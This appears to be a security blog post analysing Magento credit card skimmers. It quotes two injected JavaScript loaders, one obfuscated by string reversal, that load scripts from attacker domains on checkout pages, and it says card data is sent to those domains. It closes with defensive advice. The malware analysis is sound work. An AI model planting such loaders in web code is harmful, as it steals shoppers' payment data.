Lately we’ve been analysing multiple credit card stealers for Magento. We are seeing an increase trend there as attackers can more easily monetize a compromised e-commerce site compared to one without credit card data.
This new variation the CC stealer isn’t injected directly into the website but loaded from an external source. Loading the code from another source allows the attacker to perform any modifications in the malware source code without the need of “reinfecting” the site.
Here is a snippet of the code that we found inside Magento’s /js/lib/ccard.js
...<!-- Google Code for Remarketing Tag -->if((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)){document.write('<script src="hxxps://jquery -cdn .top/mage .js"></script>')};<!-- Google Code for Remarketing Tag -->
Basically this javascript acts like a man-in-the-middle between the user and the checkout process/page and whenever a credit card information is provided, it allows the original processing from the CMS but at the same time it forwards the data to a malicious domain at hxxps://jquery-cdn . top/ mag.php.
We also found a slightly different version of the malicious code inside /js/scriptaculous/effects.js:
if((new RegExp('onepage|checkout|onestep|fircheckout')).test(window.location)) {document.write('>tpircs/<>"sj.egam/ue.todstats//:spxxh"=crs tpircs<'.split("").reverse().join(""))}
Putting the code in a readable format we get:
if ((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)) { document.write('<script src="hxxps:// statsdot. eu/mage.js"></script>)}
In this case, the script uses the domain hxxps:// statsdot. eu to load the javascript and it sends the credit card data over to hxxps://statsdot .eu /mag.php
Interesting point about these domains is that attackers are sending the stolen information through secure channels (https). And, even though the credit card information isn’t processed directly at your shop, it’s very important to ensure that your website is updated and has the latest patches installed.
Moreover, in order to detect, mitigate and prevent such issues from happening, we also recommend having a Website Application Firewall (WAF) in place, keeping regular backups and using a File Integrity Monitoring tool to ensure the integrity of your file system.